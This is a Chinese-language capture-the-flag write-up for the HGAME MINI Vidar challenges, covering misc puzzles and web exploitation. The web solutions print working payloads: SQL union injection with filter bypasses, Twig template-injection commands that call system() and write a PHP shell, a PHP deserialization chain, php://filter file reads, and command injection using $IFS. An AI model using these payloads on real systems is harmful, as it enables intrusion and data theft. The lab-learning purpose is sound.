HGAME MINI

A lot of easy problem

Posted by JBNRZ on 2022-09-13
Estimated Reading Time 17 Minutes
Words 3.8k In Total
Viewed Times

刚开学时 Vidar 的题目,我能做出来的几乎都会给出 wp ,个别太简单的就不放了
(虽然放上来的也都很简单,但是刚入门,不慌~~
涉及到的网址都是随机容器,不能访问

Misc

Ekrulila’s picture

题解

  1. 看题目描述,嘶,不知道是谁
    Ekrulila’s picture
  2. 两个 Hint :

看!那有一排鸟在电线上诶
或许可以试试英文搜索?

  1. 听话,去网上搜

第一个拦住我的地方出现了,不要在国内搜!!!

  1. 打开 bing ,搜索birds on the wire cipher,发现了个网址:

https://www.dcode.fr/birds-on-a-wire-cipher#:~:text=The encryption composed of birds represented as perched,from A to Z) according to the correspondence%3A

  1. 解码

HOWBEAUTIFULBIRDS

  1. 得flag:

VIDAR{HOWBEAUTIFULBIRDS}

Weird suffix

题目描述

I have a big doubt about file extensions.

题解

  1. 根据题目描述,猜测和文件类型有关
  2. 下载附件,得到三个 txt 文本
  3. 打开查看,发现分别是 png, jpg, bmp 三种文件头
  4. 修改后缀
  5. 得 flag

VIDAR{FunNy_su4fix}

Hidden Zip

题目描述

010Editor may help you to find something strange!

Hints

Fence code

题解

  1. 解压得到一张图片
    Hidden Zip
  2. 根据题目描述,用 010editor 打开
  3. 查看发现结尾存在 zip 内容
  4. 修改文件后缀名,解压
  5. 打开发现是加密过的 flag
  6. 看出或是根据 hint 得出是 栅栏密码
  7. 解密得到 Flag

VIDAR{Wow~_Y0u_find_Me!}

Twisted figures

题目描述

Twisted png and get flag picture!

Hints

The results from OCR may need to be easily corrected by themselves.

题解

  1. 解压得到一张图片,明显是被修改过长或宽
    Twisted figures
  2. 使用 python 编写脚本,通过 CRC 值爆破正常宽度
1
2
3
4
5
6
7
8
9
10
11
import binascii
import struct

misc = open("twisted_figures.png", "rb").read()

for i in range(1024):
data = misc[12:16] + struct.pack('>i', i) + misc[20:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0xCC64E9C9:
print(i)
print("hex:" + hex(i))
  1. 得到宽度应为 640,使用 010 进行修改,得到正常图片
    Twisted figures2
  2. 打开图片发现是一堆16进制文字,发现开头为 89 50 4E 47,为 png 文件头
  3. 使用 OCR 转换文字,(QQ 文字识别)得到 16 进制数据

注意修改其中的__错误字符__, OCR 识别不准确
排除 空格

  1. 导入至 010 中,保存为 .png 文件
  2. 打开文件,得到 flag
    Twisted figures flag

VIDAR{Ocr_c4n_b1_Us4fu1!}

Hard zip

题目描述

ek1ng admired E99p1ant, the senior of Vidar-Team who wrote cardinal, so he hid what he wanted to say to E99p1ant in the compressed package.

题解

  1. 下载附件,一个压缩包
  2. 尝试弱口令密码,发现 password 为解压密码(只能说运气好,出题人原本目的是需要爆破口令
  3. 解压得到一张照片
    hard zip
  4. 010 打开查看 16 进制数据,发现文件后部有大量 16进制数据,并且数据头部为 zip 文件头,复制出来
  5. 新建 16进制文件,导入数据,保存为 .zip
  6. 得到四个部分,可以看出是二维码
    hard zip 1
    hard zip 2
    hard zip 3
    hard zip 4
  7. 使用 ps 拼接,扫码得到 flag

VIDAR{U^kn0w_QRCode}

Adventure of the Dancing Men

题目描述

What one man can invent, another can discover.

Hints:

  1. Base不只有Base64
  2. 题目采用的密码表:https://codepen.io/anie116/full/jdzvJK

题解

  1. 根据题目描述,发现和福尔摩斯小说《跳舞的人》有关
  2. 下载附件
    Adventure of the Dancing Men
  3. 扫描二维码得到一串儿摩尔斯密码

— …- - .-- — -.-- …-- --. … … -…- … -… --… .-. … …-. --… …- .-- . -… .-… .-- …-. --… --.- -…- . --… --… .–. --. … -.-- -… . – .-. .–. --. .- …- … -… – .— … …-. … .-. .-- … --… .-… — --. … … …- --. -. -.-. -. .–. -… -… …-. — …-- -… -… -. …- -…- --. --. -.-- .-… …-

  1. 解密得

OVTWOY3GHIXS6ZRSFZ4WE6LWFZQXEZZPGIYDEMRPGA4S6MJSF5RWIZLOG5IVGNCNPBBFO3DBNUXGGYLU

  1. 根据 hint 提示,为 base家族 其他加密方式,经过尝试,为 base32 加密

uggcf://f2.ybyv.arg/2022/09/12/cden7QS4MxBWlam.cat

  1. 长得很像网址,应该是凯撒加密,解密得:

https://s2.loli.net/2022/09/12/pqra7DF4ZkOJynz.png

  1. 得到图片
    dance_man_encode
  2. 根据题目给出的网址解密得 flag

VIDAR{…AreSoFunnnnnnnnnnnnn}
‘…’ 这块儿我忘了,懒得再去找不同

Web

Do you really understand HTTP

题目描述

ek1ng hid his secret on the page, but because he was afraid that he would forget where the secret was, he left a lot of tips. Can you find ek1ng’s secret step by step according to the tips?

Hints:

关于HTTP Header的知识看看看看这篇文章https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers

题解

  1. 打开链接
    do you know http
  2. 明显需要加入请求头参数,使用 Burpsuite 改参
    do you know http 2
    do you know http 10
  3. 再次修改包,修改 User-Agent
    do you know http 3
    do you know http 4
  4. 再次修改包,添加 X-Forwarded-For
    do you know http 5
    do you know http 6
  5. 修改 cookie, user=admin
    do you know http 7
    do you know http 8
  6. 查看响应头,发现 flag
    do you know http 9

VIDAR{HTTP_1s^re4lly$1nteresting}

The Knife

题目描述

R1esbyfe hid his password on the website, but one day hackers hacked into his website and got his password, so R1esbyfe could only change his password and fix the website vulnerability. But did the hackers really leave no back door?

题解

  1. 打开网页,也不知道要干啥,看源代码,发现 hints
    knife1
  2. 扫一下目录
    knife2
  3. 访问一下 back_door.php
    knife3
  4. 上中国剑蚁
    knife4
  5. 翻目录,找到 flag
    knife5
    knife6

VIDAR{G5T_the_R1ghtdir!ANdH4cKTH3bacKdOOR_You_Get_The_rigH7Sh5LL!!!}

watch carefully

题目描述

Someone always calls Vidar as Vider? Get on the UFO and teach them a lesson! ! !

题解

  1. 猜测改包,打开后观察源码,发现需要上传格式为图片
    watch carefully 1
  2. 随便上传一张照片,使用 Burpsuite 拦截数据包,发现参数
    watch carefully 2
  3. 结合题目信息,应该是需要将 Vider 修改为 Vidar
  4. forward 之后,发现页面下方出现了一些文字,打开代码审查
    watch carefully 3
  5. 猜测为凯撒加密,解密得到

bad image file!

  1. 检查问题,发现 flag 其实已经在 response 中给出

VIDAR{W@tch CaRefu11y}

Get Post Universe

题目描述

One day, R1esbyfe wants to buy a GPU in an online shop, he need to transfer money to the card to buy it, but it seems a little diffcult for him, can you help him?

题解

  1. 根据题目描述,需要 get post 两种请求方式
  2. get: http://1-vidar-train-docker.η.cc:49520/?money=10000
    get post 1
  3. post 利用 hackbar 添加参数,也可以写脚本
    get post 2
    get post 3
  4. 得到 flag

VIDAR{N0w_Y0u_hav5_LearNed_AB0u7_GET_4nD_POST!!!}

Book Management System

题目描述

ek1ng build a Book Management System in his website, everything seems ready, so that he can enter ID data to find book data, but it seems that somebody can also enter some other data?

题解

  1. 初步判断需要进行 sql注入
  2. 尝试访问 /books/1’
    sql 11
  3. 报错,添加注释符:-- (注意有空格),此题似乎过滤了 + ,改用 %20,然后报错消失
    sql 11
  4. 获取有几列数据,通过 order by 注入

http://1-vidar-train-docker.η.cc:49521/books/1’ order by {num}–%20
sql 11
sql 11

  1. 通过联合注入获取数据(想要获取数据,需要将联合注入的左半部分为 false,所以将 1 改为 -1
  2. 爆数据库名, 得到 book

http://1-vidar-train-docker.η.cc:49521/books/-1’ union select 1,database(),3 --%20
sql 11

  1. 爆表名,发现 secret 列

http://1-vidar-train-docker.η.cc:49521/books/-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘book’ --%20
sql 11

  1. 爆 secret 的所有字段,得到 fl4g

http://1-vidar-train-docker.η.cc:49521/books/-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘book’ and table_name=‘secret’–%20
sql 11

  1. 获取该字段值

http://1-vidar-train-docker.η.cc:49521/books/-1’ union select 1,group_concat(fl4g),3 from book.secret–%20
sql 11

  1. 得到 flag

VIDAR{i^Learned_Sql$Inject1on}

备注:注入

  1. https://vidar-team.feishu.cn/docx/doxcnlBu6zBZWkzfRcX78hv8DNS
  2. https://www.freebuf.com/articles/web/281586.html#h2-8

Book Management System V2

题目描述

After ek1ng’s book management system was hacked, he learned SQL injection and added filtering.Can you hack it?

题解

  1. 和上一个一样,先访问 books/1’
    sql 21
  2. 尝试加上注释,让报错消失
    sql 22
  3. 淦!被嘲讽了,猜测可能是过滤了 --,改用 # ,但是需要进行编码:%23
    sql 23
  4. 嗯,没问题,确实被过滤了,继续之前的步骤。通过 order by 查列数
    sql 24
  5. 淦!梅开二度,通过一系列方式尝试绕过
    sql 25
    sql 26
    sql 27
  6. 终于,大小写随意组合可以过,查出有 3 列
  7. 下一步,联合注入,猜测还有过滤
    sql 28
  8. 果然,尝试上面的方法继续绕过(发现 union select database() 都存在过滤,不放图了
  9. 因为存在 -- 过滤,所以 union 左侧 -1 不能用了,改为 0
    sql 29
  10. 成功绕过,得到数据库名

0’UNIon%20seLect%201,daTAbase(),3%23%20
sql 210

  1. 获取表名

0’%20UNIon%20SElect%201,(sELEct%20group_concat(table_name)FrOm%20INFOrMATion_SCHEma.tables),3%23
sql 211

  1. 发现 secret 表,继续获取所有字段

0’%20UNIon%20SElect%201,group_concat(COlUmn_naME),3%20FRom%
20inFoRmAtion_sCHEma.coLUmns%20WHEre%20COlUmn_naMe%20lIkE%20’fllllllllllllllllllllllaaa444g’%23
sql 212

  1. 发现 0fllllllllllllllllllllllaaa444g,获取字段值

0’%20UNIon%20SElect%201,fllllllllllllllllllllllaaa444g,3%20FRom%20seeeeeeeeeeeeeeeecrret%23%20
sql 213

  1. 得到 flag

VIDAR{U*Re4lly^Kn0wn_Sql$Inject1on}

Concat To Intranet

题目描述

There is a service that is not open to the outside world running on the intranet, but it seems that there is a vulnerability to access the intranet service?

题解

  1. 打开网页,发现有一些参数可以利用,先全部尝试一下
    internet 1
  2. 尝试 /
    internet 2
  3. 尝试 /private2
    internet 3
  4. 发现页面中出现了 flag 字样,但同时,发现 private2port 变为了 10011
  5. 尝试访问 /flag
    internet 4
  6. 无意中访问了 flag,发现似乎可以拼接网址,尝试修改端口号
    internet 5
    internet 6
  7. 访问 1/flag,成功
    internet 7
  8. 得 flag

VIDAR{ssrf_1s_s0^fun!!}

Security Center

题目描述

Thousands of roads, safety first.

题解

  1. 打开网页,就两个跳转按钮
    center 1
  2. 尝试一下,也不知道要干啥
    center 2
    center 3
  3. 看看源代码,发现 hint
    center 4
  4. 跳转至 json 页面,发现是对于第三方模块的使用
    center 5
  5. 在其中发现了一个模块 twig,经过上网查询之后,发现改题目应该与 ssti 有关
    center 6
    ssti
  6. 尝试该漏洞能否利用,通过 redirect.php?url= 测试 {{7-5}}
    center 7
  7. 尝试通用 payload
1
2
3
4
5
{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
  1. id 修改为像执行的命令,读取最顶级目录
    center 8
  2. 发现 flag 字样,尝试 cat 读取
    center 9
  3. 发现 cat 似乎被过滤了,改用 tac
    center 10
  4. 还是不行,发现存在 preg_match('/VIDAR/i', $text) 正则匹配,尝试通过只读取 flag 内部信息绕过匹配
    center 11
  5. 成功,得 flag

VIDAR{U^K0nw_Tw1t&SSTii1iiii11111~!}

My Notebook

题目描述

I have created my notebook which was powered by the best language in the world!!!

题解

  1. 打开一个登录界面,随便登一下
    noteboook 1
    noteboook 2
  2. 嘶,还有要求,麻烦,直接 F12
  3. 一个 Hint,下载文件
    noteboook 3
  4. 解压,得到源代码
    notebook 4
  5. 挨个查看,发现重要信息
    notebook 5
  6. 根据代码,得到一下判断条件

两个值不能相等
不能为空
两个值的 MD5 要相等

  1. 思路明显,找两个 MD5 值为 0e 开头的(php 会将 0e 之后的内容判定为科学计数法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
  1. 挑两个不一样的提交上去
    noteboook 6
  2. 又不知道该干啥了,看源代码发现一段代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function is_serialized($data):bool{
$data = trim($data);
if('N;' == $data)
return true;
if(!preg_match('/^([adObis]):/',$data,$options))
return false;
switch($options[1]){
case 'a':
case 'O':
case 's':
if(preg_match( "/^$options[1]:[0-9]+:.*[;}]\$/s", $data))
return true;
break;
case 'b':
case 'i':
case 'd':
if(preg_match("/^$options[1]:[0-9.E-]+;\$/",$data))
return true;
break;
}
return false;
}
  1. 网上查询后发现这是一段用来匹配__序列化字符串__的代码,得知考察目的为构造 pop 链
  2. 观察阅读 mainclass.php
    notebook 7
  3. 分析
1
2
3
4
5
class GoGoGo() {} 中存在 __call(),它将会在调用不可调用的函数时被调用
class Evil() {} 中存在 __get(),它将会在调用不可调用的变量时被调用
发现
class HereWeGo() {} 中 __destruct(),中调用了不存在的 gogogo()
class GoGoGo() {} 中 __call(),中调用了不存在的变量 web
  1. 构造 payload()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

// use HereWeGo as GlobalHereWeGo;

// use Evil as GlobalEvil;

error_reporting(0);
class HereWeGo{
public $try;
public function __destruct(){
$this->try->gogogo();
}
}

class GoGoGo{
public $go;

public function __construct($go)
{
$this->go = $go;
}

public function __call($name,$arguments){
return $this->go->web;
}
}

class Evil{
public $file;
public $final;

public function __construct($file){
$this->file = $file;
}
//The flag is in /flag
public function __get($Attribute){
$result = file_get_contents($this->file);
if(preg_match('/vidar/i',$result)){
$this->final = "HACKER!!!";
file_put_contents('flag.txt',$this->final);
return;
}
$this->final = $result;
file_put_contents('flag.txt',$this->final);
}
}
$c = new Evil('/flag');
$b = new GoGoGo($c);
$a = new HereWeGo();
$a -> try = $b;
echo serialize($a);
  1. 运行 payload 得,并提交

O:8:“HereWeGo”:1:{s:3:“try”;O:6:“GoGoGo”:1:{s:2:“go”;O:4:“Evil”:2:{s:4:“file”;s:5:“/flag”;s:5:“final”;N;}}}
notebook 8

  1. 由下载的源代码中可以知道结果被写入 flag.txt,尝试访问
    notebook 9
  2. 嘶,不对,再次阅读源码,发现存在 preg_match(‘/vidar/i’, $result),读取的内容存在 vidar 字样,需要绕过,使用 php 伪协议读取 base64

php://filter/read=convert.base64-encode/resource=/flag

  1. 修改 payload

$c = new Evil(‘/flag’);
$c = new Evil(‘php://filter/read=convert.base64-encode/resource=/flag’);

  1. 重新运行 payload

O:8:“HereWeGo”:1:{s:3:“try”;O:6:“GoGoGo”:1:{s:2:“go”;O:4:“Evil”:2:{s:4:“file”;s:54:“php://filter/read=convert.base64-encode/resource=/flag”;s:5:“final”;N;}}}

  1. 重新提交,访问 flag.txt
    notebook 10
    notebook 11
  2. base64 解码得到 flag
    notebook 12

VIDAR{Php,BeAwAre0FUnS@vE_uNsEr1al1z5=o==o=}

  1. sha1 碰撞

sha1(‘aaroZmOk’)
sha1(‘aaK1STfY’)
sha1(‘aaO8zKZF’)
sha1(‘aa3OFF9m’)

Read something useful

题目描述

R1esbyfe’s emoji packs are full, so he put some of his favorite emoji packs on this website and plans to share them with his friends, he also hid a secret here, who is the first one to find the hidden secret?

题解

  1. 访问,页面审计,发现注释
    read 1
  2. 有一个判断,file 参数中必须包括 emoji
    read 2
  3. 普通读取不行,改用 php伪协议

php://filter/read/resource=

  1. 同时为绕过字符串包含,需要利用别的参数加入 emoji

write=emoji

  1. 使用 read 需要 base64 编码后读取,(原因可能是因为浏览器自动翻译读取的原内容,造成死循环
  2. payload(index.php 中存在字符串拼接,所以文件名为 index

php://filter/read=convert.base64-encode/write=emoji/resource=index

  1. base64 解码得到的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
base64
--
PGh0bWw+DQogICAgPGhlYWQ+DQogICAgICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCiAgICAgICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJSMWVzYnlmZSI+DQogICAgICAgIDxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJDaGFsbGVuZ2UxMCI+DQogICAgPC9oZWFkPg0KICAgICAgICA8Ym9keT4NCiAgICAgICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyIj4NCiAgICAgICAgICAgIDwhLS0gdHJ5IHRvIHJlYWQgaW5kZXgucGhwIGZpcnN0ISAtLT4NCiAgICAgICAgICAgIDxoND5UcnkgdG8gY2xpY2sgdGhlIGJ1dHRvbiB0byBlbmpveSBteSBlbW9qaSEhITwvaDQ+DQogICAgICAgICAgICA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIGlkPSJmaWxlIiB2YWx1ZT0iZW1vamkiPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5DbGljayBtZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwhLS0gWW91IG1heSBmaW5kIGl0IGlzIGEgbGl0dGxlIGRpZmZpY3VsdCB0byByZWFkIG90aGVyIGZpbGVzLCByaWdodCA6KCAtLT4NCiAgICAgICAgICAgICAgICA8IS0tIGluIGluZGV4LnBocDoNCg0KICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICRfR0VUWydmaWxlJ107DQogICAgICAgICAgICAgICAgICAgIGlmKHN0cnBvcygkZmlsZSwgImVtb2ppIikgIT09IGZhbHNlKXsNCiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkZmlsZS4nLnBocCcpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgIC0tPg0KICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9ib2R5Pg0KPC9odG1sPg0KDQo8P3BocA0KDQovL3RyeSB0byByZWFkIGZpbmRtZS5waHAgdG8gZmluZCBteSBzZWNyZXRzIDpEDQoNCmVycm9yX3JlcG9ydGluZygwKTsNCiRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsNCg0KaWYoaXNzZXQoJGZpbGUpKXsNCiAgICBpZihzdHJwb3MoJGZpbGUsICJlbW9qaSIpICE9PSBmYWxzZSl7DQogICAgICAgIGluY2x1ZGUoJGZpbGUuJy5waHAnKTsNCiAgICB9ZWxzZXsNCiAgICAgICAgZWNobyAiPGNlbnRlcj5ObyxZb3UgbmVlZCB0byBmaW5kIGFub3RoZXIgd2F5IHRvIGZpbmQgbXkgc2VjcmV0IDooPC9jZW50ZXI+IjsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCn0NCj8+DQoNCg==
--
index.php
--
<html>
<head>
<meta charset="utf-8">
<meta name="author" content="R1esbyfe">
<meta name="keywords" content="Challenge10">
</head>
<body>
<div style="text-align: center">
<!-- try to read index.php first! -->
<h4>Try to click the button to enjoy my emoji!!!</h4>
<form action="index.php" method="get">
<input type="hidden" name="file" id="file" value="emoji">
<button type="submit">Click me</button>
<!-- You may find it is a little difficult to read other files, right :( -->
<!-- in index.php:

$file = $_GET['file'];
if(strpos($file, "emoji") !== false){
include($file.'.php');
}
-->
</form>
</div>
</body>
</html>

<?php

//try to read findme.php to find my secrets :D

error_reporting(0);
$file = $_GET['file'];

if(isset($file)){
if(strpos($file, "emoji") !== false){
include($file.'.php');
}else{
echo "<center>No,You need to find another way to find my secret :(</center>";
return;
}
}
?>
  1. 发现需要去读取 findme.php,同上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
base64
--
PD9waHANCiBlcnJvcl9yZXBvcnRpbmcoMCk7DQogJGZsYWcgPSAkX0VOVlsnRkxBRyddOw0KDQogJGx1Y2t5ID0gJF9HRVRbJ2x1Y2t5bnVtYmVyJ107DQoNCiBpZihpc3NldCgkbHVja3kpKXsNCiAgICAgaWYoaXNfbnVtZXJpYygkbHVja3kpKXsNCiAgICAgICAgIGRpZSgiTm90IGEgbnVtYmVyIik7DQogICAgIH1lbHNlaWYoJGx1Y2t5ID09IDc3Nyl7DQogICAgICAgIGVjaG8gIkNvbmdyYWR1bGF0aW9ucywgdGhlIGZsYWcgaXMgOiIuJGZsYWc7DQogICAgfQ0KIH1lbHNlew0KICAgIHJldHVybjsNCiB9
--
findme.php
--
<?php
error_reporting(0);
$flag = $_ENV['FLAG'];

$lucky = $_GET['luckynumber'];

if(isset($lucky)){
if(is_numeric($lucky)){
die("Not a number");
}elseif($lucky == 777){
echo "Congradulations, the flag is :".$flag;
}
}else{
return;
}
  1. 发现新的 get 参数,并且存在判断
    read 3
  2. 当值为数字时,会报 not a number,但仍需要 num == 777,结尾加上 %00,会被认定为 字符串
    read 4
  3. flag

VIDAR{ReADMy_F1lE_inAFlexibleway__and_ExPl0it!MySEcret}

感谢学长帮助

Fatal Command

题目描述

ek1ng, who just installed linux, found an interesting package called figlet, so he wrote an online font conversion site with figlet, but he seems to use a deadly function.

题解

  1. 访问,得知了一个命令行工具 figlet ,考察命令注入
    command 1
  2. 提示 give up ,可能是存在过滤,猜测空格过滤,经过尝试 $IFS 可以绕过过滤
    command 2

test$IFS|ls$IFS…
command 3

  1. 发现 flag 字样,cat 读取
    command 4
  2. 可能过滤 cat,改用 tac
    command 5
  3. 得到 flag

VIDAR{C0mmand_1njection_1s^sO0O_inter3st1n5~!}

离谱的做法

我也不知道我怎么想得
将命令执行的结果作为 figlet 参数输出出来,得到奇怪的结果
command 6
command 7
然后我就认不出来了。。。
感谢学长拉我回来


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !